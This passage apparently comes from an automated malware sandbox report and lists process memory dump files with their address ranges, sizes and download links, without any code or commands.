                        476KB

                        Download

                      • memory/2260-2547-0x0000000000400000-0x0000000000477000-memory.dmp

                        Filesize

                        476KB

                        Download

                      • memory/2260-10502-0x0000000000400000-0x0000000000477000-memory.dmp

                        Filesize

                        476KB

                        Download

                      • memory/2824-14-0x0000000074120000-0x00000000746CB000-memory.dmp

                        Filesize

                        5.7MB

                        Download

                      • memory/2824-13-0x00000000025D0000-0x0000000002610000-memory.dmp

                        Filesize

                        256KB

                        Download

                      • memory/2824-12-0x0000000074120000-0x00000000746CB000-memory.dmp

                        Filesize

                        5.7MB

                        Download

                      • memory/2824-11-0x0000000074120000-0x00000000746CB000-memory.dmp

                        Filesize

                        5.7MB

                        Download

                      • memory/2892-8-0x0000000000400000-0x000000000053A000-memory.dmp

                        Filesize

                        1.2MB

                        Download